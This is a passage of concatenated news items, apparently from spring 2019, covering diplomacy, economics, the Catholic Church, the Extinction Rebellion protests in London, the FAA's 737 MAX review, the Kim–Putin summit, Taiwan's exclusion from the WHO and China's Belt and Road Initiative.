negotiation, critical thinking, compromise, public speaking, writing, and research. VSU helped Palacky University establish a Model United Nations program more than a decade ago. VSUs Department of Political Science continues to engage in faculty and student exchanges with Palacky University and offers a study abroad trip to the university in Olomouc, Czech Republic. Please contact Dr. Carol Glen, professor of political science, at cmglen@valdosta.edu to learn more. On the Web: http://www.valdosta.edu/colleges/arts-sciences/political-science/ http://www.nmun.org/index.html Praising Vietnams impressive growth, McGill said he hopes Vietnamese firms will increase their study of investment opportunities in Liberia, as the country is turning itself into a dynamic development hub with tax incentives in Africa. He suggested the Vietnamese Government and enterprises assist and share experience with Liberia in rice cultivation and production. For his part, Deputy PM Minh asked Liberia to back Vietnams bid for a non-permanent seat at the UN Security Council (UNSC) in the 2020-2021 tenure. He stated Vietnam is willing to boost the bilateral ties to new heights toward effectiveness and practical outcomes, particularly in economy, trade and investment. Sharing Vietnams successful agricultural experience, Minh suggested both sides study different cooperation measures in agriculture and rice production, especially multilateral collaboration models that Vietnam has successfully carried out with an African country. The sides agreed to increase the exchange of delegations, particularly high-level ones, and hoped the Liberian President to soon visit Vietnam. While in Beijing, the Deputy PM also met with Mahmoud Ali Youssouf, Minister for Foreign Affairs and International Cooperation of Djibouti. Minh affirmed Vietnam wants to boost cooperation with the country, saying that Djibouti will be a bridge for Vietnam to step up trade and investment with African countries. For his part, Youssouf stated he supports Vietnams candidacy for a non-permanent seat in the UNSC in the 2020-2021 tenure. The official hoped Vietnam and Djibouti always coordinate well at multilateral forums and international organisations, including the UN and the International Organisation of Francophonie. Both sides agreed to enhance the two nations multifaceted cooperation, particularly in economy, and to encourage their enterprises to study each others market and investment opportunities. They said they will push for the countries early signing of an agreement on visa exemption for holders of diplomatic and service passports, organise Vietnam-Djibouti political consultations, and boost visits between Vietnamese and Djiboutian officials. Korea is pushing to diversify sources of oil imports in a move to minimize the impacts of U.S. sanctions on Iran. GETTYIMAGESBANK South Korea said Friday it is pushing to diversify sources of oil imports and support its exporters in a move to minimize the impacts of U.S. sanctions on Iran. Lee Ho-seung, the first vice minister of economy and finance, made the comments in a regular meeting with relevant officials at a government building in Seoul. Lee did not provide any further details on the diversification of sources of crude oil imports. The move came days after the United States said it will end its sanctions waivers for South Korea, China, India and five other countries for Iranian oil imports next Thursday. Last year, Washington imposed the most biting sanctions ever on Iran following its exit from a 2015 nuclear agreement with Iran. U.S. President Donald Trump warned last year that "Anyone doing business with Iran will NOT be doing business with the United States." A South Korean delegation led by Deputy Foreign Minister for Economic Affairs Yun Kang-hyeon visited Washington earlier this week for talks with U.S. officials on the issue. No details of the meeting were immediately available. Iranian crude accounted for 13.2 percent of South Korea's total oil imports in 2017, but it plunged to 5.2 percent last year. For the first two months of 2019, Iranian oil had a 5.4 percent share of the country's total imports, only the sixth-largest supplier after countries like Saudi Arabia and Kuwait. Lee also said the government will closely monitor rising crude oil prices and take necessary measures. The price of South Korea's benchmark Dubai crude came to an average US$70.35 per barrel between April 1-23, up from $59.1 in January 2019. Separately, the government launched a task force to make sure that a 6.7 trillion-won ($5.8 billion) extra budget will quickly be implemented as soon as the budget bill passes the parliament, according to the finance ministry. On Thursday, the government submitted the extra budget bill to the National Assembly for approval. The bill is meant to, among other things, cope with a slowdown in Asia's fourth-largest economy and rising concerns over the fine dust that often blankets South Korea. But it remains to be seen when the parliament can vote on the bill amid a political standoff between the ruling Democratic Party and the main opposition Liberty Korea Party over the ruling party's attempt to fast-track three separate bills, including the one on electoral reform. (Yonhap) Ahead of Pope Francis apostolic visit to Bulgaria and North Macedonia we shine the light on the work of Caritas Bulgaria as it assists those in need and reaches out to migrants and refugees. By Linda Bordoni Pope Francis is preparing to head to the Eastern periphery of Europe for a three-day apostolic visit to Bulgaria and North Macedonia. His journey to the two predominantly Orthodox countries with small, but active Catholic minorities, is scheduled to take place from 5 to 7 May. Both Bulgaria and North Macedonia have high unemployment and poverty rates, high rates of emigration and an ongoing struggle to handle migrants and refugees. Bulgaria, where Pope Francis will pay a private visit to a refugee camp near Sofia, is grappling with political dissent regarding migration issues. These were triggered in 2015 when large numbers of Syrians, Iraqis and others began trying to reach Central and Western Europe using overland routes rather than by crossing the Mediterranean Sea. Reaching out to those most in need including refugees and migrants - is Caritas Bulgaria which is part of the world family of Caritas Internationalis the humanitarian arm of the Catholic Church. Vanya Klecherova, communications and fundraising director at Caritas Bulgaria told Vatican News she hopes Pope Francis visit will open hearts and foster solidarity and welcome. Listen to the interview with Vanya Klecherova Vanya said that Caritas Bulgaria has been working to reduce poverty and promote human dignity for over 25 years implementing social services for people in need. She explained that the social, health and educational care and services provided by Caritas Bulgaria through its member organisations are in support of the elderly, children and young people with disabilities, children and youth at risk, asylum-seekers, refugees and migrants, single mothers, homeless people. Last year Caritas Bulgaria helped 5660 people in need, she said. The elderly Vanya said that in Bulgaria one of the most vulnerable groups of people is that of the elderly, many of whom live in isolated villages with no access to the health and social care that they need. For them, Caritas Bulgaria implements healthcare services thanks to a mobile team of professionals who visit older patients in their homes and a Day Care Centre for elderly people who are lonely. The homeless Another vulnerable group, Vanya continued, is that of homeless people for whom Caritas provides shelters in various towns, mobile healthcare teams and programmes to assist them with food, clothing and social counselling. We also help them with the search for employment and to integrate, she said. Migrants and refugees Vanya said that last year around 2500 people sought asylum in Bulgaria, and out of them 712 received international protection. Caritas, she said, helps them to integrate by teaching them Bulgarian, by helping find employment organize meetings between companies and job-seekers, by help refugees to find housing, or at least temporary accommodation for foreigners. There are two centers of this type in Bulgaria and Caritas is the only organization that visits people who are accommodated in these centers, she said. Children and young people at risk For children and young people at risk Caritas carries out various activities to support their education care for children living in poverty, and representatives of vulnerable groups. Various activities are carried out with children and adolescents to prevent drug addiction and human trafficking. Vanya also specified that for children and young people with disabilities there are Caritas kinesitherapy, work-therapy, psychotherapy, speech therapy, art therapy and other specialised activities. Single mothers are also taken care of with a host of services. Pope Franciss visit Vanya speaks of Pope Francis upcoming apostolic visit saying she hopes his meeting with migrants will foster welcome. I hope this gesture of the Holy Father will show all of us Bulgarians that we are equal in our vulnerability. So we have to help each other as Christians and good people. This is the only way we can make the world a better place for living, she said. She expressed her hope that his presence will move people to mercy and realise that refugees are vulnerable just as we are all vulnerable and that among them there are elderly people, sick people, children without parents, people with disabilities just like Bulgarians. I hope, she concluded, that this meeting with the Pope will open the hearts of people and make them more merciful towards all vulnerable people. The San Antonio de Padua Church in Pila, Laguna, was declared a national shrine during a Mass on April 23. Pope Francis sent a message for the occasion. By Robin Gomes As the new National Shrine of San Antonio de Padua of the Philippines was inaugurated this week, Pope Francis sent his greetings to the faithful hoping it will continue to be a centre of constant missionary outreach. As San Pablo Diocese welcomed its first national shrine in the heritage town of Pila, in the Province of Laguna, the Holy Father said he was praying that devotees may all be renewed in the love of Christ. Archbishop Romulo Valles of Davao, the president of the Catholic Bishops Conference of the Philippines (CBCP), presided over the Mass for the declaration of the National Shrine of San Antonio de Padua on April 23. May the shrine truly be a sanctuary where the thirsty come to drink in the midst of their journey and the centre of constant missionary outreach, said the message of Pope Francis, read out during the Mass by Apostolic Nuncio to the Philippines, Archbishop Gabriele Caccia. The CBCP had approved the petition to elevate the churchs status during its plenary assembly last January. The declaration came 17 years after St. Anthonys Church was declared a diocesan shrine in 2002. Popular saint St. Anthony of Padua is one of the most popular saints in the Catholic Church with novenas celebrations organized in numerous parishes across the world ahead of and on his June 13 feast. Traditionally, bread is blessed and distributed among the faithful on this day. However, few know that St. Anthony was a native of Lisbon, Portugal, and not of the Italian city of Padua, where he died on June 13, 1231, and by which name he is known. One of the best-known disciples of the great St. Francis of Assisi, Anthony was born on August 15, 1195, and baptized Fernando Martins de Bulhoes. His parents apparently belonged to one of the prominent families of the city. Renowned for his powerful preaching, knowledge of scripture and love for the poor and the sick, the Franciscan priest and friar was one of the most quickly canonized saints in church history. He was proclaimed a Doctor of the Church and is regarded as the patron saint of lost things. (Source: CBCPNews) The Las Vegas-Clark County Library District (LVCCLD) celebrated the grand opening of its new library in East Las Vegas this week. The 41,051-square-foot facility, which is located at 2851 East Bonanza Road, includes innovative 21st century design elements, as well as free educational resources, materials, and programs, intended to facilitate limitless learning and personal achievement for library users of all ages. Libraries are hubs for economic activity, civic engagement, imagination, and learning, which is why this new library is an important milestone for East Las Vegas, said Dr. Ronald Heezen, executive director of LVCCLD. This long-anticipated, state-of-the-art building will bring cutting edge technology, career assistance, English language classes, after-school tutoring, and so much more to this vibrant community. East Las Vegas residents will soon discover what all of our customers know, that the word library has been redefined. The East Las Vegas Library is surrounded by 14 elementary schools, two middle schools, and three high schools, and an estimated 71 percent of residents living in the area are young parents with children. With this in mind, the East Las Vegas Library was designed to offer a variety of critical resources for this diverse community. To reflect the needs of the East Las Vegas community, the new library includes a bilingual staff who are fully fluent in Spanish and English. About ten percent of the East Las Vegas Library collection is Spanish-language; nearly one-third of magazines and newspapers are available in Spanish; and bilingual resources in Spanish and English are available for children. Opportunity Village is excited to debut its brand new website to the world, complete with beautiful imagery, easy-to-find content and a streamlined shopping experience that showcases the not-for-profits myriad business lines, including first-class services of catering, document shredding and imaging, and cleaning. The year-long project, a collaboration between Opportunity Village and the award-winning designers and programmers at Proof Interactive, also highlights the artists in Opportunity Villages Fine Arts program while allowing each of them a chance to sell their creative art pieces. Not many people are aware of the depth and breadth of what we do here at Opportunity Village, says Marty Wood, Director of Marketing. This new website allows us to showcase not just our amazing programs and services for individuals with disabilities, but also our extensive business lines. From our Custodial Crew and mail center to our document shredding division and catering, the new site will make it easy to connect and utilize Opportunity Village for your business needs. Each client in the Fine Arts program has their own online portfolio to showcase, and sell, their unique pieces of work of which they receive 50% of the proceeds! Shop cookies, hot and cold platters and a variety of trays with Opportunity Villages Kitchen Creations. And, of course, stay in the know on all Opportunity Village events, including the iconic Magical Forest, HallOVeen, Camelot and Las Vegas Great Santa Run. The user-friendly website also provides enrollment information, volunteer opportunities and job openings, and gives users the ability to follow all things Opportunity Village in the form of recent news articles, press releases and blog items. By Jhoo Dong-chan The nation's banks are facing another hurdle in the Chinese market as Beijing Hyundai Motor Company, a Chinese joint venture of Hyundai Motor, decided to halt the operation of its No.1 plant in Beijing next month. They were just getting a breather now after experiencing difficulties in the market two years ago due to the Chinese government's economic retaliation against Korean firms because of Seoul's decision to deploy a Terminal High Altitude Area Defense (THAAD) here. The carmaker's decision is likely to deal a severe blow to about 130 Korean subcontractors there. Korean lenders managed to recover their businesses through loans to these firms in the Chinese market over the past two years, but are now required to reach out to local firms there to maintain their current profitability. KB Kookmin Bank said the bank's local corporate body there set up a sales department last month to strengthen its ties with Chinese companies. "KB Kookmin Bank has focused its business with Korean firms in Chinese. In a bid to widen the bank's operations there, we decided to establish a sales department," a KB Kookmin Bank official said. The move is considered the bank's exit strategy to maintain its profitability there by replacing Korean firms with local businesses. Not only KB Kookmin but also other Korean commercial banks in China have concentrated mostly on their loan business with Korean firms since their entry. Entering the market in 2012, KB Kookmin posted disappointing earnings of 1.1 billion won ($948,112) when tension between the two countries was at its peak in 2017. The bank's earnings recovered at 14.8 billion won last year. Likewise, KEB Hana, which posted a 37.3 billion net profit in 2017, managed to reach 54.4 billion last year. Shinhan's earnings were also 8.1 billion won in 2017, but jumped to 21.9 billion last year while Woori stretched its 14.2 billion won earnings to 21.9 billion won in the period. "Hyundai's slump in the Chinese market is already exercising a negative impact on Korean subcontractors there," Meritz Securities researcher Kim Joon-sung said. Banks said, however, they don't plan to exit from the market. "A number of Korean firms are now eyeing the Southeast Asian market, reflecting its rapid growth rate," a commercial bank official said. "China's financial market has yet to be fully opened. If it does, we believe there will be other opportunities." According to the Financial Supervisory Service, the total assets of the nation's commercial banks stood at $26.43 billion as of the end of December, up 0.2 percent from a year earlier. Vietnams Ministry of Planning and Investment and the International Finance Corporation (IFC), a sister organization of the World Bank recently released a report with recommendations focusing on FDI attraction strategy for 2020-2030, which is a major component of Vietnams 2021-2030 socio-economic development strategy. FDI in Vietnam FDI in Vietnam has grown by a factor of 10 over the past decade. During that period, low labor costs and government incentives were the major driving factors for foreign investors and still continue to be so. As of June 2018, total registered FDI in Vietnam reached US$331.2 billion, while disbursement totaled US$180.7 billion. Manufacturing and processing accounted for 57.1 percent of the foreign investment at US$189 billion, followed by real estate at US$56.2 billion, accounting for 17 percent of the total. The FDI sector in Vietnam currently accounts for around 22 percent of the GDP and 70 percent of the exports. The sector has been responsible for almost 3.7 million direct and 5-6 million indirect jobs in Vietnam. Challenges The lack of skilled labor and low local supply chain integration are the two major challenges in the country. Due to this, the quality of investments in the country hasnt improved in the last 10 years. Low-cost labor and government incentives continue to remain the major determinants of FDI in Vietnam. However, as labor cost grows and government incentives and exemptions expire, the government must focus on increasing the quality of FDI to remain competitive. The government also needs to focus on supporting local firms in addition to foreign enterprises, if they want them to move up the value chains and benefit from FDI spillovers, which is still limited in Vietnam. Recommendations for 2020-2030 According to the report, the key steps the government should take to increase the FDI quality in the next decade are: Create a national skills development plan to increase the share of skilled labor in the workforce; Modernize investment promotion activities and focus on priority sectors; Review and make changes to the current investment incentives policies to ensure quality FDI; Open service sectors such as education, logistics, and financial services to increase competitiveness and growth; Promote and facilitate investments abroad; Seize opportunities to reduce the negative impact of Industry 4.0; Implement supporting policies to help local suppliers and increase FDI linkages and spillover; and Set up a new FDI management agency with more budget, capacity, and authority than the current one for effective implementation of the policies and strategies. The government also needs to focus on priority sectors such as high-tech manufacturing, logistics, high-tech farming, travel, healthcare, and education in the next decade, in addition to the key sectors such as textiles, footwear, metal processing, and minerals. Going forward, FDI will continue to be a major source of capital and drive exports in Vietnam. The government needs to focus on quality FDI and support domestic enterprises in moving up the value chain if it wants to retain its export competitiveness and achieve a sustainable growth. The recommendations put forth are a step in the right direction. The second aspect is the product. There are four categories. One is prohibited products like red sandal trees, sandalwood trees etc. which are barred from exporting. The second one is that certain products can be exported under a special licence issued by the Government. This includes cattle and livestock. The third one is that certain goods can be exported only with the sanction of No Objection Certificate. However, the agricultural seeds are prohibited for exports under this category. Many countries have this restriction in common. When we want to export groundnut seeds we must get NOC under the clause that it will be used for the purpose of making oil. The last category is Licensed Products which means that certain products are listed by the Government itself regarding their exportability. For instance, APEDA is the agency which gives guidelines for agricultural products. Likewise, there are different departments for different goods. "People don't like our methods but do like our message," insisted one activist even if residents found their daily activities disrupted with traffic blocked on several of the capital's thoroughfares such as Threadneedle Street AFP/Ben STANSALL Activists from Extinction Rebellion - a fast-growing movement founded last year by British academics - have used 11 days of festive but highly disruptive rallies to focus global attention on climate change. Their ultimate goal is to slash greenhouse gas emissions to a net level of zero by 2025 and bring biodiversity loss to a halt. But their immediate aim was to get UK politicians to look past hot-button issues such as Brexit and think of ways to save the planet from irreparable damage that younger generations think will hurt them the most. Extinction Rebellion members said their campaign received a great deal of public attention but failed to get the government to budge. "The traffic disruptions have really, really brought the whole climate and environment out from being a niche issue," guitarist Nick Onley said while leading a group of 20 through a Beatles song performance in the middle of a busy London intersection. "But it hasn't been a complete success. We haven't got to that point where the government says yes, please talk to us," Onley said as drivers stuck in the heart of London's bustling financial district furiously honked their horns. The protest outside the London Stock Exchange building that stand in the shadow of St Paul's Cathedral saw several glue themselves to the pavement in front of one of the glass entrance turnstiles. One person wearing a gas mask also chained himself to one of the sleek building's stone columns. "Many of the most environmentally destructive companies in the world have their stock market listings at the London Stock Exchange (LSE)," the group said in a statement. "This institution literally trades in the devastation of our planet." AFP reporters counted seven campaigners at the building's entrance. Police eventually separated them and trading opened as usual. "NOT HERE TO BE LIKED" Activists had earlier targeted high-profile - and tourist-heavy - locations such as the Oxford and Piccadilly Circus intersections. They also camped out on a statue-filled square facing the grand parliament building and potted plants and flowers on a central bridge. Their tactics of sitting down in the middle of busy roads and refusing - peacefully - to move have proved remarkably effective at generating media headlines. But some activists admitted that Londoners often seemed befuddled about why the group thinks such tactics will help stop climate change. "Some people don't like our methods but do like our message," retiree Trudy Warner said. "What we say is: We're not here to be liked. We're here to get attention." The entire campaign saw police make 1,130 arrests and press charges against 69 people. Retired engineer Godfrey Whitehouse said he spent three nights in a police station holding cell. "I am just an ordinary member of the public who is absolutely terrified of the climate," Whitehouse said. "And we would like to apologise to the public for the disruptions," he added softly. Kido reported a 7 per cent drop in overall revenue, mainly due to its floundering cooking oil segment Kidos freshly released financial statement reported a first quarter net revenue of VND1.55 trillion ($67.39 million), down 7 per cent on-year, due to the decreasing business results in the cooking oil segment. Notably, Golden Hope Nha Be Edible Oils Co., contributed VND7 billion (304,347) to Kidos consolidated revenue, while the remaining member companies, namely Vocarimex and Tuong An Vegetable Oil JSC, reported net revenue of VND626 billion ($27.2 million) and VND840 billion ($36.5 million), decreasing 43 per cent and 22 per cent on-year, respectively. Tuong An said that it is focusing on developing the high-end cooking oil segment, while simultaneously decreasing the market share in the mid-segment which bring low profit. Meanwhile, Vocarimex reported that the fierce competition between manufacturers and the decrease in selling prices made decreased the companys net revenue. Cooking oil is still seen as a promising market by both international and local manufacturer. According to Euromonitor, Vietnamese people consume less than 10 kilogrammes of cooking oil per annum, less than the World Health Organizations (WHO) recommended level of 13.5kg. However, the figure is expected to rise to 16.2-17.4kg by 2020 and to 18.6-19.9kg by 2025. Nielsen estimated the value of the Vietnamese cooking oil market at VND30 trillion ($1.3 billion), making it quite an attracting segment. However, cooking oil is not a sector with easy profit to be made by just anybody. After five years spending $130 million to build a soybean oil processing facility (2011), Bunge Limited, an American agribusiness and food company, failed to turn profit and decided to sell 45 per cent of its stakes to Wilmar in July 2016. Since then, a three-party joint venture has been created with Bunge and Wilmar as equal, 45 per cent shareholders, and soybean meal distributor Quang Dung (a majority owner of feed miller Green Feed) retaining its 10 per cent stake in the operations. Wilmar is also a major shareholder of Calofic. Meanwhile, Acecook Vietnam (wholly owned by two Japanese firms) exited the segment with the disappearance of the De Nhat cooking oil brand, proving unable to weather competitive pressure and accompanying marketing and promotion expenses. Kidos massive investments to increase its market share through M&A deals may just repeat the unfortunate past. The Federal Aviation Administration (FAA) building is seen at 600 Independence Avenue in Washington, DC. (Eric BARADAT/AFP) The forum, scheduled for May 23 in Washington, aims to outline for civilian aviation regulators the US agency's process for returning the 737 MAX to service, an FAA spokesman said Thursday. The aircraft was grounded worldwide in mid-March following crashes by Ethiopian Airlines and Lion Air that together claimed 346 lives. Those invited include the heads of aviation authorities in China, Canada, Brazil, Ethiopia, Indonesia and European countries. The gathering comes as the FAA faces scrutiny of its oversight and questions about international civil aviation authorities' customary deference to manufacturers' domestic regulators - in this case the FAA. "It's unusual for the FAA, or any major agency, to need to work hard to get other international regulatory agencies to go along with their decisions," said Richard Aboulafia, a vice president at Teal Group, a consultancy. "This reflects the FAA's currently diminished authority, which, hopefully, will recover with time." Scott Hamilton of the consultancy Leeham Company said American officials were working to demonstrate the credibility of their oversight of Boeing as the company works on fixes to the 737 MAX. "The FAA is going to tell international regulators what it has done to review and validate the upgrades and try and convince them what the FAA did this time is bullet-proof," he said. NO INDUSTRY PARTICIPATION The session, which will not have any industry participation, will "discuss the agency's activities toward ensuring the safe return of Boeing 737 MAX to service," an FAA spokesman said in an email to AFP. The agency will provide participants with the "safety analysis that will inform its decision to return the 737 MAX fleet to service in the US when it is made," the spokesman said. "Also, the FAA will provide safety experts to answer any questions participants have related to their respective decisions to return the fleet to service." FAA acting chief Daniel Elwell was grilled last month by a US Senate panel over the agency's relationship with Boeing, whether it was rigorous enough in approving new features of the 737 MAX, and quick enough to respond to the accidents. The regulator, which has historically enjoyed a strong reputation among international aviation bodies, was criticized for not immediately grounding the 737 MAX following the second fatal crash in March, a delay that raised suspicions of a too-cozy relationship between inspectors and the American aircraft manufacturer. In the end, the FAA grounded the jets only after other major regulators took the step, including those from China and Europe. The agency has also come under scrutiny for effectively outsourcing elements of its certification process to Boeing. "This is a much needed effort by the FAA to regain the confidence of the international aviation community in the certification process of the FAA," Jim Hall, the former head of the National Transportation Safety Board, told AFP. "I don't think that the FAA can regain the confidence it lost with the 737 Max failures and omissions in one meeting but it certainly is a step in the right direction." NEED FOR COORDINATION Boeing executives said Wednesday they are working closely with the FAA and other regulators to return the 737 MAX to service, but gave no timetable. The company is working on a software fix for an anti-stall system implicated in the crisis. After submitting a request for formal certification, Boeing expects to conduct a certification flight with the FAA and then to seek approval from international regulators. Analysts have predicted the planes could resume service in late summer or fall. They have also raised the possibility that the 737 MAX could make a staggered return to service if the FAA moves more quickly than other bodies to clear it for service. But Michel Merluzeau of Air Insight Research said the FAA would strongly prefer that its approval of the 737 MAX to fly again be swiftly followed by official okays from other bodies. This would help preserve the tradition of reciprocity among regulators in the certifications of new technologies to meet rising global flying demand, he said. "They want the 737 MAX to return in a synchronized manner," Merluzeau told AFP in an interview. "Otherwise, you could have the bodies operating in silos and that would slow down innovation." This week, China hosts leaders from 37 countries for its Belt and Road Initiative (BRI), a massive development program expected to involve more than $1 trillion for infrastructure projects. The United States warns countries that the projects are primarily aimed at boosting China's economy, and the financial terms carry risks to countries' economies. VOA's Jesusemen Oni has more. A photo released by the official North Korean Central News Agency shows North Korean leader Kim Jong-un, left, and Russian President Vladimir Putin talk during a grand banquet after Russian-North Korean talks at the Far Eastern Federal University campus on the Russky Island in Vladivostok, Russia, April 25. EPA North Korean leader Kim Jong-un said peace and security on the Korean Peninsula will entirely depend on Washington's future attitude during his first summit with Russian President Vladimir Putin, state media said Friday. In the summit held in Russia's Far East city of Vladivostok on Thursday, Kim blamed Washington's "unilateral" attitude for the breakdown of his February meeting with U.S. President Donald Trump and the current stalemate in denuclearization negotiations, according to the Korean Central News Agency. "The situation on the Korean peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the U.S. took a unilateral attitude in bad faith at the recent second DPRK-U.S. summit talks," Kim was quoted as saying by the KCNA. "And (he) added that peace and security on the Korean peninsula will entirely depend on the U.S. future attitude, and the DPRK will gird itself for every possible situation," it said, using the initialism of the North's official name, the Democratic People's Republic of Korea. Nuclear negotiations have been stalled after the second summit between Kim and Trump in late February ended without an agreement due to differences over Pyongyang's denuclearization steps and Washington's sanctions relief. In his recent policy speech at the Supreme People's Assembly, Kim expressed a willingness to hold a third summit with Trump but urged Washington to come up with a "fair" and "mutually acceptable" deal. Kim suggested the end of the year as a deadline for the U.S. to come up with a new proposal acceptable to Pyongyang. Since the no-deal summit, North Korea has been intensifying diplomacy with its neighboring countries, including Russia, in an apparent bid to enlist their support ahead of its future nuclear negotiations with the U.S. In the Vladivostok meeting, Kim and Putin discussed denuclearization and bilateral relations. Putin, in particular, called for the peaceful resolution of Pyongyang's nuclear problem, stressing the need for an "international" security guarantee for the North, which analysts say might signal Russia's desire to play a larger role on Korean Peninsula issues. Experts say that the Russia summit can be interpreted as Pyongyang's push to prepare for a protracted stalemate in nuclear talks with Washington as sanctions are unlikely to be eased or lifted anytime soon. "North Korea appears to have drawn up a strategy in preparation for a prolonged tug-of-war, given that it is unwilling to give in to Washington's demands, but at the same time it is trying to keep the situation from getting out of control," Yang Moo-jin, a professor at the University of North Korean Studies in Seoul, said. In Washington, the State Department said the U.S. will continue to work with the international community to achieve North Korea's denuclearization, avoiding direct comment on the summit between Kim and Putin. "We will continue to closely coordinate with allies and partners on achieving the world's shared goal of the final, fully verified denuclearization of North Korea," a State Department spokesperson told Yonhap News Agency on Thursday (local time) when asked how the U.S. views the summit. The KCNA reported that the two leaders "agreed to more closely promote mutual understanding and bonds, and boost strategic collaboration for ensuring regional peace and security in the future." They also agreed to take "positive measures" in various fields in order to further energize their cooperation in trade, economy, science and technology, while putting the "equally beneficial economic and trade relations between the two countries on a higher stage." Kim invited Putin to visit North Korea "at a convenient time," and the Russian leader accepted the invitation, the KCNA said. This week's summit was the first meeting between the leaders of the two countries in eight years, after Kim's late father, former leader Kim Jong-il, met then Russian President Dmitry Medvedev in 2011. The KCNA did not provide details on until when Kim will stay in Russia. Russia's TASS news agency said the North Korean leader will leave Vladivostok later Friday. (Yonhap) Taiwans anticipated rejection from observing a third consecutive World Health Assembly will slow its access to world health information including disease outbreaks. But the government used to those rejections has found a series of backdoors to get the health alerts and other updates that it needs. The 193-country World Health Organizations (WHO) annual assembly May 20-28 in Geneva is likely to exclude Taiwan, political observers on the island say. China, backed by more than 170 diplomatic allies, normally bars Taiwan from international bodies such as this one because it sees the self-ruled island as Chinese territory rather than a state with diplomatic rights to join. Taiwan, known for inexpensive universal health care coverage, gets the information it needs from diplomatic allies in the WHO and from members of private medical associations that are allowed to observe the assemblies. Though late sometimes, that intelligence keeps Taiwan up to speed on major issues, such as infectious disease outbreaks. Taiwan has been pressured by China for an extremely long time, said Brian Chang, deputy secretary general with the 50,000-member Taiwan Medical Association. We have some friends in nongovernmental organizations, and in their capacity as members in those groups, they can get into the assembly as observers, he said. Basically, even though we are missing from the meeting floor, in reality we can continuously get the information we need about ongoing matters. Back channels Members of a private, nongovernmental womens doctor association, a family practice association and the World Medical Association, a French-based federation of groups for doctors, can get into the assemblies and relay information back to Taiwan, Chang said. Some of the 16 countries that both recognize Taiwan diplomatically and belong to the WHO also pass along information from health assemblies. China has more than 170 allies, giving it the clout to block Taiwan. During the WHOs May 20-28 assembly, member countries are scheduled to examine WHO efforts at containing health emergencies as well as what the organization describes as medical and financial challenges to eradicating polio. The WHO has declared Taiwan polio-free since 2000, but the threat of the poliovirus remains, the Taipei Times news website said in 2013. Taiwans government-run, universal National Health Insurance system should not suffer much in the short term from lack of World Health Assembly access, Scott Lai, director-general of the foreign ministrys Department of NGO International Affairs, told a news conference Thursday. Taiwan joined the assembly as an observer every year from 2009 to 2016, when former president Ma Ying-jeous government was getting along with China. Current President Tsai Ing-wen, who took office in 2016, rejects Beijings dialogue condition that both sides belong to one China, fanning distrust in the Communist leadership. Taiwan did not get invitations to the assembly in 2017 and 2018. Taiwan is set back only by delays in getting WHO information, Chang said. We eventually get the information, but we will be a little bit late, a few days or even a few weeks later, said Shane Lee, political scientist at Chang Jung Christian University in Taiwan. About these epidemics in other countries, if we were a full member of the assembly or the organization, we will get it immediately, by e-mail or whatever, Lee said. But if you dont, you get it from the third countries or some kind of channels. When you deal with an epidemic, the earlier the better. No exchanges among officials Over time Taiwans health care practices would benefit from dialogue with the worlds top health officials at the assembly, Lai told the news conference. If theres no way we can study or hear what other people are saying, we wont know why and how other people are debating things, all we know is the answer, said Huang Kwei-bo, vice dean of the international affairs college at National Chengchi University. Other countries would learn as well from Taiwans nearly 100 percent health care coverage under its National Health Insurance system, Lai said. The rate of our citizens satisfaction over the past years with the health care system has surpassed 85 percent, thats not easy and its an example I think we could share, he said. Taiwan spends more than $44 million on technical and medical assistance overseas every year, according to foreign ministry figures. Taiwan health and welfare Minister Chen Shih-chung said Wednesday he would lead a delegation to Geneva from May 17, even if not invited to the assembly. He told reporters Taiwan had not only contributed substantially to the global network of medical care and disease prevention but also is willing to help developing countries in need, as quoted by government-funded Central News Agency. VOA Mandarin Service contributed to this report. BEIJING China has signaled it is modifying its ambitious Belt and Road Initiative (BRI) to deal with criticism about a lack of transparency, environmental risks, and debt in financing infrastructure projects. Chinese President Xi Jinping, who spoke Friday at the second Belt and Road Forum in Beijing, made it clear that his government was conscious of the widespread criticism leveled by developed countries, and complaints from Asian partners of the China-controlled BRI. The forum runs through Saturday. "Everything should be done in a transparent way, and we should have a zero tolerance for corruption," Xi said. His government will now offer a "debt-sustainability framework" to encourage compliance with international standards in infrastructure contracting. Unlike his past speeches at the forum in 2017 and in several international gatherings, Xi did not lay out a global vision of what the Belt and Road plan can do to connect countries and continents. Instead, he concentrated on answering criticism about corruption and the dominance of Chinese companies in BRI projects. Xi invited foreign and private sector partners to contribute funding to China-backed infrastructure projects. That is different from his earlier offers to provide financing for projects from Chinese banks and agencies. "Xi Jinping is trying to deliver a readjusted BRI, providing more opportunities for non-Chinese companies to participate, delivering greener and better quality projects, being more attentive to their local economy with a humane impact as well as to the recipient country's debt sustainability," said Jean-Pierre Cabestan, professor at the Department of Government and International Studies at Hong Kong Baptist University. Shedding control It does not serve China's geopolitical ambitions if the BRI is not accepted by the Western world. In a statement Friday, the U.S. embassy in Beijing said, "We continue to have serious concerns that China's infrastructure diplomacy activities ignore or weaken international standards and best practices related to development, labor protections, and environmental protection." At the forum Friday, British Finance Minister Philip Hammond said the BRI must work for everyone for it to turn into a sustainable reality. He offered British expertise in project financing. Officials from Germany, France, Australia and Japan have also said they would like to see more opportunities for foreign companies in BRI projects. The Chinese president has now given a clear indication that he is ready to recalibrate the project parameters even if it means losing control over many aspects of the program. There are signs China had "backroom" talks with several institutions before Xi spelled out the changes he wanted to make in the Belt and Road program. International Monetary Fund Managing Director Christine Lagarde said at the forum that the BRI could "benefit from increased transparency, open procurement with competitive bidding and better risk assessment in project selection." Said Cabestan, "Xi will make sure that his signature project remains both welcomed and sustainable." Supporters of the Belt and Road program often point to China's huge foreign exchange reserves exceeding $3 trillion as proof that it can support massive infrastructure projects in 60 countries, which have been included in Beijing's BRI map; but analysts point out that China did not originally plan to use the reserve currency for that purpose. "It had intended not to use foreign exchange reserves, but to make investments with renminbi, which would allow for the outward transfer of China's excess capacity, labor and construction facilities, and so on," said John Olin Palmetto, chair professor in business at the University of South Carolina Aiken, in an interview with VOA's Mandarin service. New yardstick for debt Ahead of the forum, Chinese Finance Minister Liu Kun and the country's central bank governor, Yi Gang, announced a financial tool to measure the tolerance levels of recipient countries receiving loans for BRI projects. That was in response to criticism that Chinese financing for Chinese-built projects in poor countries was pushing them into a debt trap. "The debt issue in developing countries should be treated objectively. If debt growth is accompanied by infrastructure improvement, enhancement of people's livelihoods and productivity and poverty reduction, it will be beneficial for the sustainability of long-term debt," Yi said. Some analysts said China has not given up defending long-term loans by its banks, saying that it triggers economic development and reduces poverty. The measurement tool would not be effective if Chinese lenders are determined to extend loans to support the China-built projects, they said. "A tool to evaluate financial sustainability looks like a public relations gimmick," said Gordon Chang, author of The Coming 